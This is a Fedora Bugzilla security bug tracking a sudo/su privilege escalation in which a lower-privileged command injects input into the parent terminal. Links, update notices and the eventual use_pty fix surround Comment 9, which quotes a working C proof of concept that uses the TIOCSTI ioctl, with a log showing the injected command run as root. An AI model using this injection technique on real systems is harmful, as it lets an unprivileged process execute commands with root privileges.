Bug 479145

Summary: (sudo -u less_privileged_user command) privilege escalation
Product: [Fedora] Fedora Reporter: Miloslav Trmač <mitr>
Component: sudoAssignee: Daniel Kopeček <dkopecek>
Status: CLOSED ERRATA QA Contact: Fedora Extras Quality Assurance <extras-qa>
Severity: high Docs Contact:
Priority: medium    
Version: 12CC: bressers, ovasik, riel, security-response-team
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
URL: http://www.sudo.ws/bugs/show_bug.cgi?id=142
Whiteboard:
Fixed In Version: sudo-1.7.4p4-2.fc12 Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2010-09-28 05:28:24 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Comment 7 Tomas Hoger 2009-01-23 14:00:37 UTC
Summary of the public information:

Francesco Ongaro presented on CCC Congress 2008 a way to inject commands to TTY buffer, that may lead to privilege escalation when higher privileged user runs untrusted command controlled by a lower privileged user via sudo:
  http://www.ush.it/2009/01/06/25c3-ccc-congress-2008-tricks-makes-you-smile/

The issue was previously described by Russell Coker in 2004:
  http://lists.virus.org/debian-security-0407/msg00160.html
  http://www.redhat.com/archives/fedora-devel-list/2004-July/msg01314.html
  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=262454

and similar problem was fixed in coreutils' su command (fix included in RHEL5 and later):
  https://bugzilla.redhat.com/show_bug.cgi?id=173008

Upstream sudo bug report:
  http://www.sudo.ws/bugs/show_bug.cgi?id=142

Comment 8 Bug Zapper 2009-11-18 08:01:35 UTC
This message is a reminder that Fedora 10 is nearing its end of life.
Approximately 30 (thirty) days from now Fedora will stop maintaining
and issuing updates for Fedora 10.  It is Fedora's policy to close all
bug reports from releases that are no longer maintained.  At that time
this bug will be closed as WONTFIX if it remains open with a Fedora 
'version' of '10'.

Package Maintainer: If you wish for this bug to remain open because you
plan to fix it in a currently maintained version, simply change the 'version' 
to a later Fedora version prior to Fedora 10's end of life.

Bug Reporter: Thank you for reporting this issue and we are sorry that 
we may not be able to fix it before Fedora 10 is end of life.  If you 
would still like to see this bug fixed and are able to reproduce it 
against a later version of Fedora please change the 'version' of this 
bug to the applicable version.  If you are unable to change the version, 
please add a comment here and someone will do it for you.

Although we aim to fix as many bugs as possible during every release's 
lifetime, sometimes those efforts are overtaken by events.  Often a 
more recent Fedora release includes newer upstream software that fixes 
bugs or makes them obsolete.

The process we are following is described here: 
http://fedoraproject.org/wiki/BugZappers/HouseKeeping

Comment 9 Josh Bressers 2010-05-11 16:13:30 UTC
I'm going to open this bug, as it's doing us any good closed up.

This issue has been pointed out again (this time in su) here:

http://pastebin.com/Vk4VNB7u

root@quadstation # cat /root/cnuprivesc.c
#include <unistd.h>
#include <stdio.h>
#include <termios.h>
#include <sys/ioctl.h>

static void
fake_input(int fd, const char *msg)
{
        for (; *msg; ++msg)
                if (ioctl(fd, TIOCSTI, msg) != 0)
                        perror("ioctl");
}

int main(int argc, char **argv)
{
        fake_input(0, "echo $UID\n");
        return 0;
}
root@quadstation # su - redeeman

 * keychain 2.7.0 ~ http://www.funtoo.org
 * Found existing ssh-agent: 9642
 * Found existing gpg-agent: 9667
 * Known ssh key: /home/redeeman/.ssh/id_dsa

redeeman@quadstation # exec /cnuprivesc <-- this is the last thing i manually do
echo $UID
root@quadstation # echo $UID
0
root@quadstation #

Comment 10 Fedora Update System 2010-09-15 12:25:13 UTC
sudo-1.7.4p4-1.fc12 has been submitted as an update for Fedora 12.
https://admin.fedoraproject.org/updates/sudo-1.7.4p4-1.fc12

Comment 11 Fedora Update System 2010-09-15 22:27:30 UTC
sudo-1.7.4p4-1.fc12 has been pushed to the Fedora 12 testing repository.  If problems still persist, please make note of it in this bug report.
 If you want to test the update, you can install it with 
 su -c 'yum --enablerepo=updates-testing update sudo'.  You can provide feedback for this update here: https://admin.fedoraproject.org/updates/sudo-1.7.4p4-1.fc12

Comment 12 Fedora Update System 2010-09-20 06:56:24 UTC
sudo-1.7.4p4-2.fc12 has been submitted as an update for Fedora 12.
https://admin.fedoraproject.org/updates/sudo-1.7.4p4-2.fc12

Comment 13 Fedora Update System 2010-09-28 05:28:14 UTC
sudo-1.7.4p4-2.fc12 has been pushed to the Fedora 12 stable repository.  If problems still persist, please make note of it in this bug report.

Comment 14 Tomas Hoger 2010-09-29 07:11:50 UTC
Just for future reference...

sudo was extended to allow allocation of new pty for commands run with target user privileges.  Use of additional pty is controlled by use_pty option, which is currently not enabled by default.